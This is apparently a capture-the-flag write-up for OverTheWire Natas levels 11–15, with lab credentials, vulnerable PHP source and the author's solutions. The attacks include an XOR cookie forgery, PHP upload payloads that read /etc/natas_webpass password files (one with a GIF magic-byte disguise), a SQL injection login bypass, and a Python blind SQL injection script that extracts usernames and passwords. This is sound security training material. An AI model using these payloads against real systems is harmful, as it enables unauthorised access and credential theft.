Natas11
Username: natas11
Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
URL: http://natas11.natas.labs.overthewire.org

<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>

We have to set the showpassword
to be "yes" to have PHP return the flag.
XOR "encryption" is only effective when it's a one time pad (OTP) – aka the key is only used once, if it's used multiple times, we can just XOR 2 pieces of data and get the resulting value back.
These are the properties of the Xor (^) operator
Inputs | Output | |
---|---|---|
0 | 0 | 0 |
0 | 1 | 1 |
1 | 0 | 1 |
1 | 1 | 0 |
a ^ b = c
a ^ b = b ^ a
a ^ a = 0
c ^ b = a ^ b ^ b = a
Do we need the key?
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
Let's look at the code a little more. We first base64 decode the data cookie, then xor_encrypt
, then decode it as json.
For testing with a random key
{"showpassword":"no","bgcolor":"#ffffff"} saved returns
SxNBW1tCRlFCQURbR1ISCxBdWxcaElNVUFtZWUITCBEXU1BWV1RVFkg=
{"showpassword":"yes","bgcolor":"#ffffff"} saved returns
SxNBW1tCRlFCQURbR1ISCxBKUUYUHBNQVFdaWl9DEAkWFlBWV1RVUhdL
Comparison:
SxNBW1tCRlFCQURbR1ISCxB dWxcaElNVUFtZWUITCBEXU1 BWV1RVFkg=
SxNBW1tCRlFCQURbR1ISCxB KUUYUHBNQVFdaWl9DEAkWFl BWV1RVUhdL
Quick learning lesson into base64
The possible characters are A-Z, a-z, 0-9, +, /. This totals to 64 possible characters. I guess that's where the 64 of base64 comes from.
Back to "Do we need the key?"
23 characters that differ, and 64 possible characters they could be, so it would only be 64^23 (348449143727040986586495598010130648530944) possible combinations. It would be easier, and much faster to get the key rather then trying to brute force the solution.
Doing some testing with the source code locally
I created a PHP file that contained the loadData
saveData
xorEncrypt
, etc. and added parameters to the functions that required access to cookies or the HTTP request such that I could test locally.
Setting the key to be an integer gives the following error, so this means that the key has to be a string. PHP Fatal error: Uncaught TypeError: Unsupported operand types: string ^ null
That string can be bytes using the following formatting\x00
, so that error doesn't help much.
My original strategy was to find a parameter to the xor_encrypt function that would zero out the result. This isn't correct because going back to the truth table, the only way the output could be zero is if the inputs are the same. All I was doing was figuring out the ascii value of the input in way too many steps.
I spent 2 minutes finding my legal pad and decided to write some maths down and realized the following in about another 2 minutes:
plaintext ^ key = ciphertext
--> plaintext ^ ciphertext = key

:facepalm: I spent way too much time trying to zero out this value to get the key that it's surprising I'm even including it in the writeup.
The final testing file is as follows:
#!/usr/bin/env php
<?php
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
// Added a key parameter so I could pass in a second value
function xor_encrypt($in, $key) {
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def, $data, $key) {
$mydata = $def;
$tempdata = base64_decode($data);
print "Base64_decode: ".$tempdata.PHP_EOL;
$tempdata = xor_encrypt($tempdata, $key);
print "xor_encrypt (".mb_strlen($tempdata, "UTF-8")."): '".$tempdata."'".PHP_EOL;
$tempdata = json_decode($tempdata, true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
print "Loaded data!".PHP_EOL;
}
}
return $mydata;
}
function saveData($d, $key) {
return base64_encode(xor_encrypt(json_encode($d), $key));
}
// Default data for natas11
// {"showpassword":"no","bgcolor":"#ffffff"}
$tmp_key = '{"showpassword":"no","bgcolor":"#ffffff"}';
$my_data = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw\n";
// The result of xoring the plaintext and the ciphertext together results in the key:
// xor_encrypt (41): 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw?Jq'
// The key is just a repeating 4 character string, not sure what happened with the '?' bit...
$tmp_key = 'qw8J';
$data = loadData($defaultdata, $my_data, $tmp_key);
print "showpassword: ".$data['showpassword'].PHP_EOL."bgcolor: ".$data['bgcolor'].PHP_EOL;
$request_bgcolor = "#ffffff";
if (preg_match('/^#(?:[a-f\d]{6})$/i', $request_bgcolor)) {
$data['bgcolor'] = $request_bgcolor;
}
print "Updated bgcolor: ".$data['bgcolor'].PHP_EOL;
print saveData($data, $tmp_key).PHP_EOL;
?>
Setting the $tmp_key
to be the plaintext, and the $my_data
variable to be the ciphertext from the Natas11 data
cookie we get the key of qw8J
.
Using this key, I was able to xor_encrypt
and base64_encode
the showpassword="yes"
, resulting in ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVFksFxFeLFMK
.
Editing the cookie in the storage tab of the firefox developer tools to be this value, I was able to finally get the password for Natas12.

Natas12
Username: natas12
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
URL: http://natas12.natas.labs.overthewire.org

<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
No crypto here, so maybe it won't take me an entire day to solve this one!
These file upload challenges are unique, there's a limit of 1KB file size for a JPG image, but my nyan cat photo downscaled to oblivion is 9.7KB...

Good thing I didn't want my photo uploaded anyway... I'll have to resort to more 'active' files.
Source code analysis
Going through the source of the challenge, we can see that the $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
function call takes in the filename
post value.
Noticing that we control the filename
parameter we can trace this value through these functions.
The makeRandomPath($dir, $ext);
call takes the directory and extension and generates a random filename with the $ext
at that path.
Given the makeRandomPathFromFilename
parameters are ($dir, $fn)
which corresponds to ("upload", $_POST["filename"])
. This $ext
comes from the makeRandomPathFromFilename
function. $ext = pathinfo($fn, PATHINFO_EXTENSION);
. The $fn
argument is the input that we control!
So where does this filename come from since there isn't an text input box in the upload form.
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Notice how the .jpg
extension is ON THE CLIENT SIDE.
Changing the extension to php
and uploading the following file:
<?php
echo "doot";
?>
It successfully uploaded!

And it gets interpreted as PHP!

Let's actually solve the challenge now that we know we can input a php file.
<?php
// Can finally call this hopefully
phpinfo();
// Path to natas13 password
$pass_file_path = "/etc/natas_webpass/natas13";
// Open the password file
$pass_file = fopen($pass_file_path, "r") or die("Unable to open file: '".$pass_file_path."'!");
// Echo the contents of the file
echo fread($pass_file, filesize($pass_file_path));
// Close the file
fclose($pass_file);
?>

Finally got the phpinfo – tbh not sure if it'll be helpful, but all information is good information.
Also the password was at the end too.

Natas13
Username: natas13
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
URL: http://natas13.natas.labs.overthewire.org

Nice security note, and some new source functionality.
else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
}
exif_imagetype
Using the php docs this function "reads the first bytes of an image and checks its signature."
One thing I like to always do is check the comments to see if any of the users have found a security issue, but in this case, we just have a comment from "Tim": By trial and error, it seems that a file has to be 12 bytes or larger in order to avoid a "Read error!".
Image magic bytes
Files can have "magic bytes" at the start to give information about the format of the file. Essentially it's a file header that tells whatever is reading it what type of file it is. According to Wikipedia, ".jpeg" files will have the following magic bytes:

A github repo that lists magic numbers for various filetypes shows the following

Looks like the last byte can be e0-ef
according to comments, but let's check the php implementation.
Since we have the version of php from the previous natas: PHP Version 5.6.33-0+deb8u1
we can download the right version, or just use the php verison that I have installed and hope it's the same function.
<?php
print "Result: ".strval(exif_imagetype("./header")).PHP_EOL;
?>
Here's a little test I put together to check the result of the exif_imagetype
. It reads the header
file and checks to see if it will return false or an integer that represents the filetype.
I couldn't get the JPEG or PNG format to work, but using the GIF header I was able to print an integer result.

GIF8
<?php
echo "doot";
?>


Not just the test file, but also the file
command shows it as a GIF.
The function is not specifically looking for a jpg
file, it is only looking for a valid image so this should work.
Let's modify the natas12 solution by adding the GIF8
to the top && change the path:
GIF8
<?php
// Path to natas14 password
$pass_file_path = "/etc/natas_webpass/natas14";
// Open the password file
$pass_file = fopen($pass_file_path, "r") or die("Unable to open file: '".$pass_file_path."'!");
// Echo the contents of the file
echo fread($pass_file, filesize($pass_file_path));
// Close the file
fclose($pass_file);
?>

Uploading the solution file successfully!

Natas14 password acquired successfully!
Natas14
Username: natas14
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
URL: http://natas14.natas.labs.overthewire.org

<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>
It's a basic SQL injection and it gives us the query with no input sanitization.
" or 1="1
will give us the flag, I didn't feel like typing another 2 double quotes around the 1 and due to mysql being weird it still works.
Mysql being "weird"
Mysql has implicit typecasting, which means that it can interpret strings with numbers as an integer if the first expression is an integer.

Natas15
Username: natas15
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
URL: http://natas15.natas.labs.overthewire.org

<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
This one isn't as nice as the last challenge. We're given the query, there's no sanitization, but there isn't a way to print the output.
This means we have to get the characters one at a time and we can verify by using the success or failure messages... This is known as a blind SQL injection. Thankfully they give us the table spec and the username and password are only 64 characters each. My guess is I don't care about the username at all, and I should just focus on the password.
Brb, gonna make a fun little python script.
First attempt was using
payload = '" or password like "' + "".join(current_list) + "%"
This got me the following passwords:
6P151ONTQE
HLWUGKTS2W
WAIHEACJ63WNNIBROHEQI3P9T
hLWUGKTS2W
wAIHEACJ63WNNIBROHEQI3P9T
The Natas passwords have been 32 characters in the past, but the longest ones are only 25 characters. Looking back, there was a bug in my code that never sent the 0
character and caused the enumeration to stop. The issue is that the results are case insensitive, there are 2 versions of all the passwords except the one that starts with an integer. Trying to test all the combinations of capitals and lowercase resulted in... This:

It would take 2281 hours to finish all 33,554,432 combinations. This is better than brute forcing the base64, but ain't nobody got time for that.
Take 2
Let's figure out a way to case SENSITIVELY enumerate the password so that we don't have 33 million combinations.
I looked around on Google for a while, and tried a few things, converting each string to binary, and also using COLLATE
.
Collate
Collation is nothing but a set of rules that are predefined in SQL Server that determine how the data in SQL Server are stored, retrieved and compared. Mainly there are various rules or collations that exist in SQL Server but we need to know the following 2 main collations.
1. SQL_Latin1_General_CP1_CI_AS
2. SQL_Latin1_General_CP1_CS_AS
Here the CI is case insensitive.
CS is case sensitive,
Case sensitive columns are exactly what I'm looking for.
# Command from https://stackoverflow.com/questions/4558707/case-sensitive-collation-in-mysql
SHOW COLLATION WHERE COLLATION LIKE "%_cs";
Collation Charset Id Default Compiled Sortlen Pad_attribute
cp1251_general_cs cp1251 52 Yes 1 PAD SPACE
latin1_general_cs latin1 49 Yes 1 PAD SPACE
latin7_general_cs latin7 42 Yes 1 PAD SPACE
utf8mb4_0900_as_cs utf8mb4 278 Yes 0 NO PAD-
These are the different types of case sensitive collations available on a web SQL instance. All I have to do is try the Collation
's name on the challenge server until one works.
tldr; it can bring case sensitivity back at the column level.
Back to "Take 2"
Messing around on the index, I found that the latin1_general_cs
collation worked with the input " or LEFT(password, 1)="W" COLLATE latin1_general_cs;#
. The query didn't give an error and returned the "user exists" message. This input did not give a "user exists" message with the lowercase w
which means I can finally check for upper and lowercase characters.
Breaking down the input, the query turns into:
SELECT * from users where username="" or LEFT(password, 1)="W" COLLATE latin1_general_cs;#";
The LEFT
gets the leftmost character(s) in the password column, and the COLLATE
will check it case sensitively.
My thought process behind this blind SQL injection is to slowly build up the string character by character until there are no more values. I can confirm a character exists by checking for the "user exists" message in the html response. This logic holds because the "user exists" message only shows when a row is returned, and if a password doesn't have the string we're sending in it, it won't appear.
The final solve is here:
#!/usr/bin/env python
import requests
def advance_character(current_string_list):
"""
Takes the current_string_list and increments the last character, will work on empty lists
"""
if len(current_string_list) == 0:
return ["/"], False
# Working with the last character
character = current_string_list[-1]
# Acceptable characters are 0-9 A-Z a-z
if character == 'z':
# This case is when the last character has been reached
# Print the string without the 'z' guess
print("".join(current_string_list[:-1]) + " ")
# Return the current_string_list with done set to True
return current_string_list, True
elif character == 'Z':
# Jump to next character -- no special characters in pass
character = 'a'
elif character == '9':
# Jump to next character -- no special characters in pass
character = 'A'
else:
# Increment the character
character = chr(ord(character) + 1)
# Store the updated character in the list
current_string_list[-1] = character
# Return the list with the done boolean
return current_string_list, False
def get_case_sensitive_column(url, column, uname, pword, enumerate_username=""):
"""
Takes the url for the request, the column name to enumerate, the
HTTP basic authentication username, the HTTP basic authentication password
and an optional username for enumerating password
"""
# Case sensitive results
cs_result = []
# Current guess list
current_list = []
# Number of requests
request_num = 0
# Loop until the enumeration is complete
while 1:
current_list, done = advance_character(current_list)
if not done:
# Print the current guess
print("".join(current_list), end='\r')
# Break if done and current_list only contains 1 character
if done and len(current_list) > 1:
cs_result.append("".join(current_list)[:-1])
# Only enumerate 1 password for a username
if len(enumerate_username) > 0:
break
# Get the first character of the first list && advance the character
# If the enumeration was ['A', 'A', 'A'], this would result in ['B']
# **NOTE** This is not going to enumerate multiple strings that start with the same letter
# Alice, Averi, Adam will not all be found.
current_list, done = advance_character([current_list[0]])
# Print the current list
print("".join(current_list), end='\r')
# Already on the last character
if done:
break
elif done and len(current_list) <= 1:
print("Done.")
break
# $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
# " or LEFT(password, 1)="w" COLLATE latin1_general_cs;#
payload = 'LEFT(' + column + ', ' + str(len(current_list)) + ')="' + "".join(current_list) + '" COLLATE latin1_general_cs;#'
# Prepend username to enumerate user's password
if len(enumerate_username) > 0:
payload = enumerate_username + '" and ' + payload
else:
# Or enumerate column name
payload = '" or ' + payload
# Send the payload to the url
response = requests.post(url, auth=(uname, pword), data={'username': payload})
request_num += 1
# Check results for "This user exists"
if "This user exists" in response.text:
# Append '/' because it will turn into the '0' character on append
current_list.append('/')
# Return the results
return cs_result, request_num
# Challenge information
natas15_url = "http://natas15.natas.labs.overthewire.org/index.php"
username = "natas15"
password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
total_requests = 0
print("Enumerating users...")
users, req_num = get_case_sensitive_column(natas15_url, "username", username, password)
total_requests += req_num
results = {}
for user in users:
print("\nEnumerating " + user + "'s password...")
# password will be a list, but it will only have 1 element
password_res, req_num = get_case_sensitive_column(natas15_url, "password", username, password, enumerate_username=user)
if len(password_res) >= 1:
results[user] = password_res[0]
else:
results[user] = ""
total_requests += req_num
print("Found the following username password values")
for key in results.keys():
print("Username: " + key + " Password: " + results[key])
print("Total requests: " + str(total_requests))
